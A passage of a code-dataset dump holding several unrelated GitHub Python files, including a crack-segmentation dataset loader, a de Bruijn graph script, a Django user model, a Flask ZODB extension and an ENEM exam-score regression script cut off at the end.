x]\n obj = {\n \"bbox\": [np.min(px), np.min(py), np.max(px), np.max(py)],\n \"bbox_mode\": BoxMode.XYXY_ABS,\n \"segmentation\": [poly],\n \"category_id\": 0,\n \"iscrowd\": 0\n }\n objs.append(obj)\n record[\"annotations\"] = objs\n else:\n record[\"annotations\"] = [{\n \"bbox\": [0, 0, 0, 0],\n \"bbox_mode\": BoxMode.XYXY_ABS,\n \"segmentation\": [(0, 0), (0, 0), (0, 0)],\n \"category_id\": 0,\n \"iscrowd\": 0\n }]\n dataset_dicts.append(record)\n return dataset_dicts\n\n\ndef get_cracks_dicts_semantic(img_dir):\n dataset_dicts = []\n image_paths = list(sorted(os.listdir(img_dir + 'image/')))\n mask_paths = None\n if os.path.exists(img_dir+'semantic_mask/'):\n mask_paths = list(sorted(os.listdir(img_dir+'semantic_mask/')))\n else:\n mask_paths = list(sorted(os.listdir(img_dir+'mask/')))\n for idx, v in enumerate(image_paths):\n record = {}\n\n image_path = os.path.join(img_dir, 'image/', v)\n height, width = cv2.imread(image_path).shape[:2]\n mask_path = img_dir + \"mask/\" + mask_paths[idx]\n\n record[\"file_name\"] = image_path\n record[\"sem_seg_file_name\"] = mask_path\n record[\"height\"] = height\n record[\"width\"] = width\n\n dataset_dicts.append(record)\n return dataset_dicts\n\n\nclass CrackImagesForSegmentation(Dataset):\n \"\"\"Created for Crackdataset\"\"\"\n\n NUM_CLASSES = 1\n\n def __init__(self, root_dir=None, transforms=None):\n \"\"\"\n Args:\n root_dir (string): Directory with all the images.\n transform (callable, optional): Optional transform to be applied\n on a sample.\n \"\"\"\n self.root = root_dir\n self.imgs = list(sorted(os.listdir(root_dir+'image/')))\n self.masks = list(sorted(os.listdir(root_dir+'mask/')))\n self.transforms = transforms\n\n def __len__(self):\n return len(self.imgs)\n\n def __getitem__(self, idx):\n img_path = self.root + \"image/\" + self.imgs[idx]\n mask_path = self.root + \"mask/\" + self.masks[idx]\n img = cv2.imread(img_path)\n mask = cv2.imread(mask_path)/255 # HxWxC\n obj_ids = np.unique(mask)\n obj_ids = obj_ids[:1]\n masks = mask == obj_ids[:, None, None]\n\n # get bounding box coordinates for each mask\n pos = np.where(masks[0])\n xmin = np.min(pos[1])\n xmax = np.max(pos[1])\n ymin = np.min(pos[0])\n ymax = np.max(pos[0])\n boxes = [[xmin, ymin, xmax, ymax]]\n\n # convert everything into a torch.Tensor\n boxes = torch.as_tensor(boxes, dtype=torch.float32)\n # there is only one class\n labels = torch.ones((self.NUM_CLASSES,), dtype=torch.int64)\n masks = torch.as_tensor(masks, dtype=torch.uint8)\n image_id = torch.tensor([idx])\n area = (boxes[:, 3] - boxes[:, 1]) * (boxes[:, 2] - boxes[:, 0])\n\n target = {}\n target[\"boxes\"] = boxes\n target[\"labels\"] = labels\n target[\"masks\"] = masks\n target[\"image_id\"] = image_id\n target[\"area\"] = area\n target[\"iscrowd\"] = torch.zeros((1,), dtype=torch.int64)\n\n if self.transforms is not None:\n img, target = self.transforms(img, target)\n return img, target\n\n\nclass CrackImagesForClassification(Dataset):\n \"\"\"Created for Crack Dataset in SDNET2018\"\"\"\n\n def __init__(self, root_dir=None, transforms=None):\n \"\"\"\n Args:\n root_dir (string): Directory with all the images.\n transform (callable, optional): Optional transform to be applied\n on a sample.\n \"\"\"\n self.annotation = []\n self.image_path = []\n imgfolder_difftype = os.listdir(root_dir)\n for imgfolder in imgfolder_difftype:\n # 'C' for cracked and 'U' for uncracked\n full_path = '%s%s/C%s/' % (root_dir, imgfolder, imgfolder)\n crack_img = os.listdir(full_path)\n crack_path = [\n full_path + filename for filename in crack_img if isimage(filename)]\n full_path = '%s%s/U%s/' % (root_dir, imgfolder, imgfolder)\n noncrack_img = os.listdir(full_path)\n\n # cut in 1/4\n np.random.shuffle(noncrack_img)\n split_end = int(len(noncrack_img)/4)\n noncrack_img = noncrack_img[:split_end]\n\n noncrack_path = [\n full_path + filename for filename in noncrack_img if isimage(filename)]\n\n # pack into variable\n self.image_path += crack_path + noncrack_path\n self.annotation += [1]*len(crack_path)\n self.annotation += [0]*len(noncrack_path)\n\n self.transforms = transforms\n\n def __len__(self):\n return len(self.image_path)\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n annotation = self.annotation[idx]\n img_name = self.image_path[idx]\n image = cv2.imread(img_name)\n if self.transforms:\n image = self.transforms(image)\n\n # sample = {'image': image, 'annotation': annotation}\n\n return image, annotation\n","repo_name":"huhuman/crack-segmentation","sub_path":"dataset/crack_images.py","file_name":"crack_images.py","file_ext":"py","file_size_in_byte":7420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2041251603","text":"#!/usr/bin/env python3\r\n# Name: Chang Kim (cnkim)\r\n# Group Members: None\r\n\r\nimport sys\r\n\r\n'''\r\nThis program takes in from stdin and a string of sequences\r\nOutputs to stdout the deBrujin graph as an adjacency list\r\n'''\r\n\r\ndef deBrujin(k,seq):\r\n '''\r\n creates a debrujin adjacency list form from the string\r\n nodes k-1 long and kth sequence is the edge\r\n returns adjacency list\r\n '''\r\n k = int(k)-1\r\n adj = {}\r\n for i in range(len(seq)-k):\r\n first = seq[i:i+k]\r\n second = seq[i+1:i+k+1]\r\n if first in adj:\r\n adj[first] = adj.get(first) + ',' + second\r\n else:\r\n adj[first] = second\r\n return adj\r\n\r\ndef main():\r\n '''\r\n reads in fron stdin and strips the lines of newlines\r\n runs the deBrujin function and prints out the adjacency lsit\r\n '''\r\n lines = sys.stdin.readlines()\r\n adj = deBrujin(lines[0].rstrip(),lines[1].rstrip())\r\n for key in adj:\r\n print(key + \" -> \" + adj.get(key))\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"cnk113/assignments","sub_path":"problem11.py","file_name":"problem11.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29700974848","text":"## put all imported modules here\nfrom collections import Counter\nimport pandas as pd\nimport re\nfrom nltk.tokenize import word_tokenize\n#from nltk.stem.snowball import SnowballStemmer\n# from gensim.models.tfidfmodel import TfidfModel\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.pipeline import Pipeline\n#other imports\nfrom os import listdir\n\n################# 1. IMPORT DATA ################################################################\n# Import the csv file\ndata = pd.read_csv(r'C:\\Users\\mestr501\\Desktop\\Thesis\\Python\\textcsv.csv', \n delimiter = ';', header = 0, encoding = 'latin-1') #latin-1 for dutch\n\n# Turn whole_file column into document or txt\nwhole_files = data['whole_file']\ncorpus = whole_files.tolist()\nprint(corpus)\n\n# Turn whole_file column into document or txt\nclient_names = data['client_name']\nclient_names = client_names.tolist()\nprint(client_names)\n\n# The stopword list and company names added to them\nsw = []\nwith open(r'C:\\Users\\mestr501\\Desktop\\Thesis\\Python\\stopwords-nl.txt', encoding = 'utf-8') as handle:\n for line in handle:\n sw.append(line.strip())\nprint(sw)\n#sw.append('kpn') #if more stopwords, add more appends\n#sw.append('én')\n#for term in client_names: #adding client names to stopword list.\n# term = term.lower()\n# sw.append(term)\n\n\n\n################ 2. PRE-PROCESSING STEPS ########################################################\n# 2.1 Tokenize the text\n# Tokenize the cells per word\ntknzd_corpus = []\nfor doc in corpus:\n tokens = word_tokenize(doc) \n tknzd_corpus.append(tokens)\n\nprint(tknzd_corpus)\n\n# 2.2 Lower all cases\n################ corpus = [t.lower() for t in tknzd_corpus]\ntknzd_corpus_lower = []\nfor doc in tknzd_corpus:\n tknzd_corpus_lower.append([t.lower() for t in doc])\nprint(tknzd_corpus_lower[0])\n\n###### 2.3 Delete punctuation, numbers, stopwords, empty spaces and stem if needed\npunctuation = r'[^\\w\\s]'\ndigits = r\"\\d+\"\n#stemmer = SnowballStemmer(\"dutch\")\n\nwords = []\nfor doc in tknzd_corpus_lower :\n doc = [re.sub(digits, '', w) for w in doc] # removal of digits\n doc = [t for t in doc if t not in sw] # removal of stop words\n doc = [re.sub(punctuation, '', t) for t in doc] # removal of punctuation\n #doc = [stemmer.stem(t) for t in doc] # stemming the words\n doc = [t for t in doc if t!=''] # delete empty spaces/elements\n words.append(doc) \nprint(words[0])\n\n#Converting it to right input for TF-IDF\ncleaned_text = []\nfor doc in words:\n temp = \"\"\n for token in doc:\n temp = temp+token+\" \"\n cleaned_text.append(temp)\nprint(cleaned_text[0])\n\n############### 3. TF IDF Vector creation ####################################################\n\ntfidf_vectorizer = TfidfVectorizer(input = cleaned_text, \n encoding ='utf-8', \n strip_accents = 'ascii',\n analyzer = 'word',\n max_df = 0.8, min_df = 0.1)\n\n\n################## 4. SVD CREATION ############################################################\n#n_components is recommended to be 100 by Sklearn Documentation for LSA\n#http://scikit-learn.org/stable/modules/generated/sklearn.decomposition.TruncatedSVD.html\nsvd = TruncatedSVD(n_components = 100,\n algorithm = 'randomized',\n n_iter = 10, #number of iterations\n random_state = 123) #set as a seed\n\n#creating SVD matrix\nsvd_transformer = Pipeline([('tfidf', tfidf_vectorizer), \n ('svd', svd)])\nsvd_matrix = svd_transformer.fit_transform(cleaned_text)\n\n################## 5. COSINE DISTANCE #################################################\n\n \n \n ","repo_name":"gorjul/KPNProject","sub_path":"Thesis Mark/Python/Analysis.py","file_name":"Analysis.py","file_ext":"py","file_size_in_byte":3965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36189999977","text":"#!/usr/bin/env python3\n\n'''\nFaça um programa que pede ao usuário que digite uma ou mais palavras e\nimprime cada uma das palavras com suas vogais duplicadas.\n\npython repete_vogal.py\n'Digite uma palavra (ou enter para sair):' Python\n'Digite uma palavra (ou enter para sair):' Bruno\n'Digite uma palavra (ou enter para sair):' \nPythoon\nBruunoo\n\n'''\nwords = []\nwhile True:\n word = input(\"Digita uma palavra (ou enter para sair):\").strip()\n if not word:\n break\n\n\n final_world = \"\"\n for letter in word:\n if letter.lower() in \"aeiou\":\n final_world += letter * 2\n else:\n final_world += letter\n words.append(final_world)\n\n\nprint(*words, sep=\"\\n\")\n\nfor word in words:\n print(word)","repo_name":"daniel-lenharo/python-base","sub_path":"repete_vogal..py","file_name":"repete_vogal..py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36322754170","text":"from django.db import models\nfrom django.conf import settings\nfrom django.template.loader import render_to_string\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.auth.models import AbstractBaseUser\nfrom django.contrib.auth.models import PermissionsMixin\n\nfrom djmoney.models.fields import MoneyField\nfrom django_countries.fields import CountryField\n\nfrom accounts.managers import AccountManager\n\n\nclass UserModel(AbstractBaseUser, PermissionsMixin):\n email = models.EmailField(_(\"email\"), max_length=254, unique=True)\n full_name = models.CharField(\n _(\"full name\"), max_length=150, null=True, help_text=_(\"First and last name\")\n )\n address = models.CharField(\n _(\"address\"),\n max_length=128,\n null=True,\n blank=True,\n help_text=_(\"Streetname and housenumber\"),\n )\n zip_code = models.CharField(_(\"zip code\"), max_length=10, null=True, blank=True)\n city = models.CharField(_(\"city\"), max_length=42, null=True, blank=True)\n country = CountryField(_(\"country\"), default=\"NL\", null=True, blank=True)\n\n # Support for monthly subscriptions\n PAYMENT_OPTIONS = (\n (0, _(\"Bank Transfer\")),\n (1, _(\"Ideal\")),\n (2, _(\"Paypal\")),\n )\n iban = models.CharField(_(\"iban\"), max_length=42, null=True, blank=True)\n balance = MoneyField(\n _(\"balance\"),\n null=True,\n blank=True,\n max_digits=19,\n decimal_places=4,\n default_currency=\"EUR\",\n )\n monthly_top_up = MoneyField(\n _(\"monthly top up\"),\n null=True,\n blank=True,\n max_digits=19,\n decimal_places=4,\n default_currency=\"EUR\",\n )\n payment_preference = models.PositiveSmallIntegerField(\n _(\"payment preference\"),\n null=True,\n blank=True,\n choices=PAYMENT_OPTIONS,\n default=None,\n )\n\n # Django permission fields\n is_active = models.BooleanField(\n _(\"active\"),\n default=False,\n help_text=_(\n \"Designates whether this user should be treated as \"\n \"active. Unselect this instead of deleting accounts.\"\n ),\n )\n is_staff = models.BooleanField(\n _(\"staff\"),\n default=False,\n help_text=_(\"Designates whether the user can log into this admin site.\"),\n )\n is_superuser = models.BooleanField(_(\"superuser\"), default=False)\n\n # Bookkeeping of changes\n date_created = models.DateTimeField(_(\"date created\"), auto_now_add=True)\n date_updated = models.DateTimeField(_(\"date Laatst Gewijzigd\"), auto_now=True)\n last_updated_by = models.ForeignKey(\n \"self\",\n on_delete=models.SET_NULL,\n null=True,\n blank=True,\n related_name=\"has_changed_accounts\",\n verbose_name=_(\"last updated by\"),\n )\n\n objects = AccountManager()\n\n USERNAME_FIELD = \"email\" # email login rather than arbitrary username\n REQUIRED_FIELDS = [\"full_name\"]\n\n class Meta:\n verbose_name = _(\"User\")\n verbose_name_plural = _(\"Users\")\n\n def __str__(self):\n return \"{0} ({1})\".format(self.full_name, self.email)\n\n def email_user(\n self,\n subject,\n text_content,\n html_content,\n from_email=settings.DEFAULT_FROM_EMAIL,\n **kwargs\n ):\n\n msg = EmailMultiAlternatives(\n subject=subject,\n body=text_content,\n from_email=from_email,\n to=[self.email],\n bcc=settings.ADMIN_BCC,\n )\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()\n\n def send_welcome_email(self):\n subject = \"Welkom bij Mancelot\"\n text_content = \"Welkom bij Mancelot!\"\n html_content = render_to_string(\"accounts/welcome.html\")\n self.email_user(subject, text_content, html_content)\n","repo_name":"tlrh314/mancelot","sub_path":"backend/apps/accounts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3884,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"10259169317","text":"#-*- coding:utf-8 -*-\n\nfrom __future__ import division\nfrom __future__ import absolute_import\nfrom __future__ import with_statement\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom UserDict import IterableUserDict\nfrom contextlib import contextmanager\nfrom datetime import datetime\nfrom uuid import uuid4\n\nfrom werkzeug import cached_property, LocalProxy\nfrom ZODB.DB import DB\nfrom flask import g, current_app\nimport transaction\nfrom persistent import Persistent\nfrom persistent.list import PersistentList\nfrom persistent.mapping import PersistentMapping\nfrom BTrees.OOBTree import OOBTree\n\n\n__all__ = ('ZODB', 'Model', 'Factory',\n 'List', 'Mapping', 'Timestamp', 'UUID4', 'current_db')\n\n\nclass ZODB(IterableUserDict):\n \"\"\"ZODB extension for Flask: persistence of native Python objects.\n\n Basic setup::\n\n from ZODB.FileStorage import FileStorage\n from flask import Flask, redirect, render_template_string\n from flaskext.zodb import ZODB\n\n ZODB_STORAGE = lambda: FileStorage('app.fs')\n\n app = Flask(__name__)\n app.config.from_object(__name__)\n db = ZODB(app)\n\n @app.route('/')\n @app.route('/')\n def index(message=None):\n if message is not None:\n db['message'] = message\n return redirect('/')\n return render_template_string('Latest message: {{ message }}',\n message=db['message'])\n\n During requests the ``db`` object acts like a Python ``dict``. Any changes\n made to it *directly* will persist, changes made to mutable objects\n within will have to be marked as mutated. This is done for you if you\n inherit :class:`Model` for your own classes and use :attr:`List` and\n :attr:`Mapping` as substitutes for Python's ``list`` and ``dict``.\n\n Outside of requests, the object can be used as a context manager if\n called, yielding the root object to be used inside the context.\n See :meth:`__call__`.\n\n \"\"\"\n\n cb = None\n\n def __init__(self, app=None):\n self.app = app\n if app is not None:\n self.init_app(app)\n\n def init(self, cb):\n \"\"\"Register a callback to be called with the root mapping when the\n database is first loaded. Useful for setting defaults.\n\n \"\"\"\n self.cb = cb\n return cb\n\n @cached_property\n def db(self):\n db = DB(self.app.config['ZODB_STORAGE']())\n if self.cb is not None:\n with self.transaction(db) as root:\n self.cb(root)\n return db\n\n @property\n def connection(self):\n \"\"\"Request-local database connection.\"\"\"\n return g._zodb_connection\n\n @connection.setter\n def connection(self, new):\n g._zodb_connection = new\n\n @property\n def root(self):\n \"\"\"Root object for the request-local connection.\"\"\"\n return self.connection.root()\n\n @property\n def data(self):\n return self.root\n\n def init_app(self, app):\n assert 'ZODB_STORAGE' in app.config, \\\n 'ZODB_STORAGE must be configured.'\n self.app = app\n if not hasattr(app, 'extensions'):\n app.extensions = {}\n app.extensions['zodb'] = self\n\n @app.before_request\n def open_db():\n self.connection = self.db.open()\n transaction.begin()\n\n @app.after_request\n def close_db(response):\n transaction.commit()\n self.connection.close()\n return response\n\n @contextmanager\n def transaction(self, db=None):\n if db is None:\n db = self.db\n try:\n connection = db.open()\n transaction.begin()\n yield connection.root()\n finally:\n transaction.commit()\n connection.close()\n\n def __call__(self):\n \"\"\"Transactional context, for database access outside of requests.\n\n ::\n\n with db() as root:\n root['this'] = 'is committed at the end of the context.'\n\n \"\"\"\n return self.transaction()\n\n\nclass Factory(object):\n \"\"\"Set a :class:`Model` attribute with a callable on instantiation.\n Useful for delaying initiation of mutable or dynamic objects.\n\n ::\n\n class Dice(Model):\n side = Factory(random.randint, 1, 6)\n\n ::\n\n >>> Dice()\n Dice(side=3)\n >>> Dice()\n Dice(side=5)\n\n \"\"\"\n\n def __init__(self, callable, *args, **kwargs):\n self.callable = callable\n self.args = args\n self.kwargs = kwargs\n\n def __call__(self):\n return self.callable(*self.args, **self.kwargs)\n\n\n#: UTC timestamp factory\nTimestamp = Factory(datetime.utcnow)\n\n#: UUID4 factory\nUUID4 = Factory(uuid4)\n\n#: Factory for :func:`PersistentList`\nList = Factory(PersistentList)\n\n#: Factory for :func:`PersistentMapping`\nMapping = Factory(PersistentMapping)\n\n#: Factory for an object-to-object balance tree mapping,\n#: a :class:`~BTrees.OOBTree.OOBTree`.\nBTree = Factory(OOBTree)\n\n\nclass Model(Persistent):\n \"\"\"Convinience model base.\n\n You can subclass :class:`persistent.Persistent` directly if you prefer,\n but this base provides some conviniences.\n\n Set attributes in instantiation::\n\n >>> Model(title='Hello!')\n Model(title='Hello!')\n >> Model(title='Hello!').title\n 'Hello!'\n\n Declare mutable and dynamic attributes in the class definition::\n\n class Post(Model):\n id = UUID4\n posted_on = Timestamp\n comments = List\n\n ::\n\n >>> Post()\n Post(id=UUID('c3f043a8-8f1f-4381-89b3-fd1f35265925'),\n posted_on=datetime.datetime(2010, 10, 20, 15, 42, 34, 138015),\n comments=[])\n >>> type(Post().comments)\n \n\n \"\"\"\n\n def __init__(self, **kwargs):\n for name in dir(self):\n value = getattr(self, name)\n if isinstance(value, Factory):\n setattr(self, name, value())\n\n for name, value in kwargs.iteritems():\n try:\n attribute = getattr(self, name)\n except AttributeError:\n attribute = None\n if isinstance(attribute, PersistentList):\n attribute.extend(value)\n elif isinstance(attribute, (PersistentMapping, OOBTree)):\n attribute.update(value)\n else:\n setattr(self, name, value)\n\n def __repr__(self):\n attributes = ', '.join('{0}={1!r}'.format(name, value)\n for (name, value) in vars(self).iteritems())\n return '{0}({1})'.format(self.__class__.__name__, attributes)\n\n\n#: The :class:`ZODB` instance for the current :class:`~flask.Flask`\n#: application.\ncurrent_db = LocalProxy(lambda: current_app.extensions['zodb'])\n","repo_name":"dag/stutuz","sub_path":"flaskext/zodb.py","file_name":"zodb.py","file_ext":"py","file_size_in_byte":6889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2580018253","text":"__author__ = 'heroico'\n\nimport numpy\nimport logging\nimport Utilities\nimport Exceptions\n\nclass MTF(object):\n \"\"\"Matrix table format\"\"\"\n GENE = 0\n RSID_1 = 1\n RSID_2 = 2\n VALUE = 3\n\ndef loadMatrixFromFile(file):\n class MatrixBuilder(object):\n def __init__(self):\n self.build_up = {}\n self.entries = {}\n self.latest_gene = None\n self.pending = []\n\n def __call__(self, i, row):\n gene = row[MTF.GENE]\n rsid1 = row[MTF.RSID_1]\n rsid2 = row[MTF.RSID_2]\n value = row[MTF.VALUE]\n\n if self.latest_gene != gene:\n self.processPending()\n self.latest_gene = gene\n\n if value == \"NA\":\n return\n\n self.pending.append((gene, rsid1, rsid2, value))\n\n def processPending(self):\n if not len(self.pending):\n return\n\n the_gene = self.pending[0][0]\n if the_gene in self.entries:\n raise Exceptions.MalformedInputFile(file,\n \"Snp Covariance Entries for genes must be contiguous but %s was found in two different places in the file.\" % (the_gene))\n\n key_filter = {}\n valid_keys = []\n\n values = {}\n def get_row(dict, key):\n row = None\n if key in dict:\n row = dict[key]\n else:\n row = {}\n dict[key] = row\n return row\n\n for gene, rsid1, rsid2, value in self.pending:\n if not rsid1 in key_filter:\n key_filter[rsid1] = True\n valid_keys.append(rsid1)\n\n value = float(value)\n\n row_1 = get_row(values, rsid1)\n row_1[rsid2] = value\n\n row_2 = get_row(values, rsid2)\n row_2[rsid1] = value\n\n valid_rows = []\n for i in xrange(0, len(valid_keys)):\n valid_row = []\n valid_rows.append(valid_row)\n for j in xrange(0, len(valid_keys)):\n key_i = valid_keys[i]\n key_j = valid_keys[j]\n\n value = values[key_i][key_j]\n valid_row.append(value)\n\n self.pending = [] #pending data is not needed anymore\n covariance_matrix = numpy.array(valid_rows)\n self.entries[the_gene] = (covariance_matrix, valid_keys)\n\n builder = MatrixBuilder()\n loader = Utilities.CSVFileIterator(file, header=\"GENE RSID1 RSID2 VALUE\", compressed=True)\n loader.iterate(builder)\n builder.processPending() #Builder read last entries, but since the gene didn't change, it didn't realize it has one last matrix to build\n return builder.entries\n","repo_name":"hakyimlab/MetaXcan","sub_path":"software/metax/deprecated/MatrixUtilities.py","file_name":"MatrixUtilities.py","file_ext":"py","file_size_in_byte":2838,"program_lang":"python","lang":"en","doc_type":"code","stars":117,"dataset":"github-code","pt":"61"} +{"seq_id":"39091164983","text":"## --- Bibliotecas para estrutura de dados\nimport pandas as pd\nimport numpy as np\n\n## --- Funções de pre-processamento\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import LabelEncoder, StandardScaler\n\n## --- Bibliotecas de machine learning\nfrom sklearn.cluster import KMeans\nimport lightgbm as lgbm\n\n## --- Funções definidas pelo usuário\nfrom subroutines import reduce_mem_usage\n\nimport warnings\nimport pickle\nwarnings.filterwarnings('ignore')\n\n## variáveis relevantes para leitura\n\n## --- notas\n\nnotas = ['NU_NOTA_MT']\n\n### --- variáveis gerais\nlist_vars = np.array(['Q001','Q002', 'Q003', 'Q004', 'Q005', 'Q006', 'Q007', 'Q008', 'Q009', 'Q010', 'Q011','Q012', 'Q013',\n 'Q014', 'Q015', 'Q016', 'Q017', 'Q018', 'Q019', 'Q020', 'Q021','Q022', 'Q023', 'Q024', 'Q025',\n 'IN_ACESSO', 'TP_ANO_CONCLUIU','TP_SEXO', 'TP_DEPENDENCIA_ADM_ESC','TP_LINGUA',\n 'NU_IDADE', 'TP_ESCOLA', 'TP_COR_RACA', 'TP_ST_CONCLUSAO', 'IN_LIBRAS',\n 'CO_MUNICIPIO_RESIDENCIA', 'CO_ESCOLA', 'CO_MUNICIPIO_PROVA',\n 'TP_ENSINO', 'SG_UF_PROVA', 'TP_ESTADO_CIVIL', 'TP_NACIONALIDADE',\n 'IN_SEM_RECURSO', 'IN_SALA_ESPECIAL', 'SG_UF_NASCIMENTO', 'SG_UF_ESC',\n 'IN_TREINEIRO', 'IN_DEFICIT_ATENCAO', 'TP_SIT_FUNC_ESC',\n 'CO_MUNICIPIO_ESC', 'IN_LEDOR', 'IN_TEMPO_ADICIONAL',\n 'IN_DEFICIENCIA_AUDITIVA', 'TP_LOCALIZACAO_ESC', 'IN_DEFICIENCIA_MENTAL',\n 'IN_SURDEZ', 'IN_AUTISMO', 'IN_DEFICIENCIA_FISICA', 'IN_TRANSCRICAO',\n 'CO_MUNICIPIO_NASCIMENTO', 'CO_UF_NASCIMENTO', 'CO_UF_PROVA',\n 'IN_MAQUINA_BRAILE', 'TP_PRESENCA_MT', 'TP_PRESENCA_LC',\n 'TP_PRESENCA_CN', 'TP_PRESENCA_CH', 'TP_STATUS_REDACAO'])\n\n## --- lendo dados de treino\nreader = pd.read_csv('../input/train.csv', engine='c', chunksize=50000, \n nrows=2500000, usecols=np.append(list_vars, notas) )\n\ndf = pd.DataFrame(columns=pd.read_csv('../input/train.csv', nrows=2, \n usecols=np.append(list_vars, notas)).columns)\nfor chunk in reader:\n df = pd.concat([df ,reduce_mem_usage(chunk)])\n \ndf_idhm_ifdm = pd.read_csv('https://raw.githubusercontent.com/rrpronaldo/quality_education/main/dataset_idhm_ifdm.csv')\ndict_idhm = dict(zip(df_idhm_ifdm.CO_MUNICIPIO,df_idhm_ifdm.VR_IDHM))\ndf['VR_IDHM'] = df.CO_MUNICIPIO_RESIDENCIA.map(dict_idhm)\n\ndf_ifdm = pd.read_csv('https://raw.githubusercontent.com/rrpronaldo/quality_education/main/dataset_idhm_ifdm.csv')\ndict_ifdm = dict(zip(df_ifdm.CO_MUNICIPIO,df_ifdm.IFDM_2010))\ndf['VR_IFDM'] = df.CO_MUNICIPIO_RESIDENCIA.map(dict_ifdm)\n \n## --- variáveis para codificar\nlist_toenc = np.array(['Q006', 'Q024', 'Q008', 'Q003', 'Q004', 'TP_LINGUA', 'Q010',\n 'Q002', 'Q018', 'Q007', 'Q013', 'TP_SEXO', 'Q001', 'Q019', 'Q016',\n 'Q021', 'Q014', 'Q022', 'CO_ESCOLA', 'Q025','Q005',\n 'CO_MUNICIPIO_RESIDENCIA', 'CO_UF_PROVA', 'CO_MUNICIPIO_PROVA',\n 'Q009', 'CO_MUNICIPIO_ESC', 'CO_UF_NASCIMENTO', 'SG_UF_ESC',\n 'Q023', 'CO_MUNICIPIO_NASCIMENTO', 'Q017', 'Q012',\n 'SG_UF_NASCIMENTO', 'SG_UF_PROVA', 'Q011', 'Q015', 'Q020'])\n\n## --- variáveis mais relevantes para matemática\n#ft_mt = np.array(['TP_PRESENCA_MT', 'TP_PRESENCA_CN', 'Q006', 'Q024', 'NU_IDADE', 'Q008', 'Q003', 'Q004', 'TP_LINGUA', 'TP_ST_CONCLUSAO', 'Q010', 'Q002', 'TP_ESCOLA', 'TP_ANO_CONCLUIU', 'Q018', 'TP_DEPENDENCIA_ADM_ESC','Q007', 'Q013','TP_SEXO', 'Q001', 'Q019', 'Q016', 'Q021', 'Q014', 'Q022', 'CO_ESCOLA', 'TP_COR_RACA', 'Q025', 'CO_MUNICIPIO_RESIDENCIA', 'CO_UF_PROVA', 'CO_MUNICIPIO_PROVA', 'Q009', 'IN_TREINEIRO', 'CO_MUNICIPIO_ESC', 'TP_ENSINO', 'CO_UF_NASCIMENTO', 'SG_UF_ESC', 'Q023', 'CO_MUNICIPIO_NASCIMENTO', 'TP_SIT_FUNC_ESC', 'Q017', 'TP_ESTADO_CIVIL', 'Q012', 'SG_UF_NASCIMENTO', 'TP_LOCALIZACAO_ESC', 'Q005', 'SG_UF_PROVA', 'Q011', 'TP_NACIONALIDADE', 'Q015', 'Q020','IN_ACESSO', 'IN_LIBRAS', 'IN_SEM_RECURSO', 'IN_SALA_ESPECIAL'] )\n\nft_mt = list_vars\n\nft_clust = ['Q006', 'Q024', 'Q008', 'Q003']\n\n## --- encoder\nis_to_enc = 0\nif is_to_enc == 1:\n ##encoding\n enc1 = reduce_mem_usage( pd.read_csv('../input/train.csv', engine='c',\n usecols=list_toenc) )\n enc2 = reduce_mem_usage( pd.read_csv('../input/test.csv', engine='c',\n usecols=list_toenc) )\n\n enc = pd.concat([enc1,enc2])\n del enc1, enc2\n encoders = []\n for coluna in list_toenc:\n if enc[coluna].isna().any() == True:\n encoders.append( LabelEncoder().fit( list(set(enc[coluna].astype(str).fillna(\"missing\").replace(\"nan\", \"missing\").unique().tolist())) ) )\n else:\n encoders.append( LabelEncoder().fit( list(set(enc[coluna].astype(str).unique().tolist())) ) )\n del enc\n ## saving encoders\n for enc, n in zip( encoders, np.arange(len(encoders)) ):\n np.save('./Encoders/matematica/classes_%s.npy' % n, enc.classes_)\nelse:\n encoders = []\n for n in np.arange(len(list_toenc)):\n enc = LabelEncoder()\n enc.classes_ = np.load('./Encoders/matematica/classes_%s.npy' % n)\n encoders.append(enc)\n \n## --- substitui notas missing por zero\nfor coluna in notas:\n df[coluna] = df[coluna].fillna(0)\n \n## --- substitui valores NaN (variáveis numéricas) por inteiro arbitrário \n\nfor coluna in df[list_vars].loc[:2,~df[list_vars].columns.isin(list_toenc)].columns:\n df[coluna] = df[coluna].fillna(-32768).astype('int16')\n \ni=0\nfor coluna in list_toenc:\n df[coluna] = df[coluna].astype(str).fillna(\"missing\").replace(\"nan\", \"missing\").astype('category')\n df[coluna] = encoders[i].transform(df[coluna])\n i+=1\n \n## --- redução de cardinalidade\n#df['NU_IDADE'] = df['NU_IDADE'].apply(lambda x: x if x<35 else 35)\n\n#df['Q004'] = df['Q004'].apply(lambda x: 0 if x==0 else\n# 1 if (x==1) | (x==2) | (x==5) else x-1)\n\ndf['Q002'] = df['Q002'].apply(lambda x: 1 if (x==1) | (x==7) else x)\n\n#df['TP_ANO_CONCLUIU'] = df['TP_ANO_CONCLUIU'].apply(lambda x: x if x<4 else 4)\n\ndf['Q003'] = df['Q003'].apply(lambda x: 0 if x==0 else\n 1 if (x==1) | (x==2) | (x==5) else x-1)\n\n## TREINO DO MODELO\n\n## --- instanciamento do agrupador\nnclust = 5\nmodel = make_pipeline(StandardScaler(), KMeans(n_clusters=nclust))\nmodel.fit(df[ft_clust])\n\n# atribui cada amostra a um grupo\ndf['CLUSTER'] = model.predict(df[ft_clust])\n\nregressor_mt = make_pipeline(StandardScaler(), lgbm.LGBMRegressor(boosting_type='gbdt', \n 